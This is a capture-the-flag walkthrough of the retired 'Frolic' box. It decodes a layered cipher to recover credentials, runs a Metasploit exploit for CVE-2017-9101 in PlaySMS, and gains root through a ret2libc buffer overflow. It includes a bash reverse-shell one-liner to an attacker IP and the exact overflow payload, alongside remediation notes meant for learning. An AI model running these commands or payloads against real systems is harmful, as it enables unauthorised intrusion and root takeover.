Frolic
Summary
I enumerated a web server and discovered an administrative panel secured only by client-side JavaScript. By decoding a multi-layer encoding puzzle embedded in the application — custom symbol cipher, hidden URL, password-protected ZIP, hex, base64, and Brainfuck — I recovered valid credentials.
Those credentials authenticated to an outdated PlaySMS instance containing a known server-side code-injection flaw (CVE-2017-9101), which returned a shell as the web-server account. Privilege escalation was achieved by exploiting a stack buffer overflow in a custom SUID-flagged 32-bit binary, crafting a ret2libc payload that called system('/bin/sh') with root privileges.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <main> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Version scan of the five known ports; confirms nginx on 9999 as the primary web surface.
$ nmap -Pn -p22,139,445,1880,9999 -T4 -sV $TARGETExact commands 2
Enumerate directories; expect /admin, /playsms, /test, /dev, /backup, /loop.
$ gobuster dir -u http://$TARGET:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster_9999.txtVerify /admin returns 200 — no network-level protection.
$ curl -s -o /dev/null -w '%{http_code}' http://$TARGET:9999/admin/FixRestrict administrative web interfaces to authorised source IPsHigh
Exact commands 5
Confirm credentials are validated in JS only — admin:admin is hard-coded in the script.
$ curl -s http://$TARGET:9999/admin/js/login.js | grep -i 'admin\|pass'Retrieve the post-login page containing the .!? Cipher.
$ curl -s http://$TARGET:9999/admin/success.html -o success.htmlDecode the symbol cipher to valid Brainfuck; run stage1.bf in any BF interpreter to get the hidden path /asdiSIAJJ0QWE9JAS.
$ python3 -c "s=open('success.html').read().strip(); m={'.?':'>','?.':'<','..':'+','!!':'-','!.':'.','.!':',','!?':'[','?!':']'}; print(''.join(m.get(s[i:i+2],'') for i in range(0,len(s)-1,2)))" > stage1.bfFetch the hidden URL, base64-decode the response to a ZIP, and extract its contents with password '$PASSWORD2'.
$ curl -s http://$TARGET:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > frolic.zip && unzip -P $PASSWORD2 frolic.zipUnwind hex → base64; run stage2.bf in any BF interpreter — output is '$PASSWORD'.
$ python3 -c "import base64; h=open('index.php').read().strip(); print(base64.b64decode(bytes.fromhex(h)).decode())" > stage2.bfFixImplement server-side authentication and remove credentials from client-accessible filesHigh
Exact commands 4
Fire CVE-2017-9101; returns a PHP Meterpreter session as www-data.
$ msfconsole -q -x "use exploit/multi/http/playsms_uploadcsv_exec; set RHOSTS $TARGET; set RPORT 9999; set TARGETURI /playsms/; set USERNAME admin; set PASSWORD $PASSWORD; set LHOST $ATTACKER_IP; set LPORT 4444; run"Open a second listener on my machine for the stable bash reverse shell.
$ nc -lvnp 4445Run inside the Meterpreter session to spawn a stable interactive bash shell on the second listener.
$ execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1'"Locate and read the user flag from the bash shell — value: <user.txt>.
$ find /home -name user.txt -exec cat {} \;FixUpgrade or remove PlaySMS 1.4 (CVE-2017-9101)Critical
Exact commands 4
List all root-owned SUID binaries; /home/ayush/.binary/rop appears in the results.
$ find / -perm -4000 -user root -type f 2>/dev/nullConfirm: ELF 32-bit LSB executable, Intel 80386, not stripped — unusual custom binary with SUID.
$ file /home/ayush/.binary/ropFrom the Meterpreter session — pull the binary and libc to my machine for offline analysis.
$ download /home/ayush/.binary/rop /tmp/rop && download /lib/i386-linux-gnu/libc.so.6 /tmp/libc.so.6Disassemble main() to identify the unsafe call and measure the buffer size for padding calculation.
$ objdump -d /tmp/rop | grep -A 20 '<main>'FixRemove the SUID bit from insecure custom binaries and fix the underlying buffer overflowCritical
Exact commands 4
Extract the file offsets of system() and exit() from the downloaded libc.
$ readelf -s /tmp/libc.so.6 | grep -w 'system\|exit'Find the file offset of the '/bin/sh' string inside libc.
$ strings -a -t x /tmp/libc.so.6 | grep '/bin/sh'Deliver ret2libc payload: 52-byte pad + system()@0xb7e53da0 + exit()@0xb7e479d0 + /bin/sh@0xb7f74a0b (addresses resolved from the target's libc). Returns root shell.
$ /home/ayush/.binary/rop "$(python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*52+struct.pack("<III",0xb7e53da0,0xb7e479d0,0xb7f74a0b))')"Read the root flag from the elevated shell — value: <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 139/tcp | netbios-ssn |
| 445/tcp | microsoft-ds |
| 1880/tcp | vsat-control |
| 9999/tcp | abyss |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.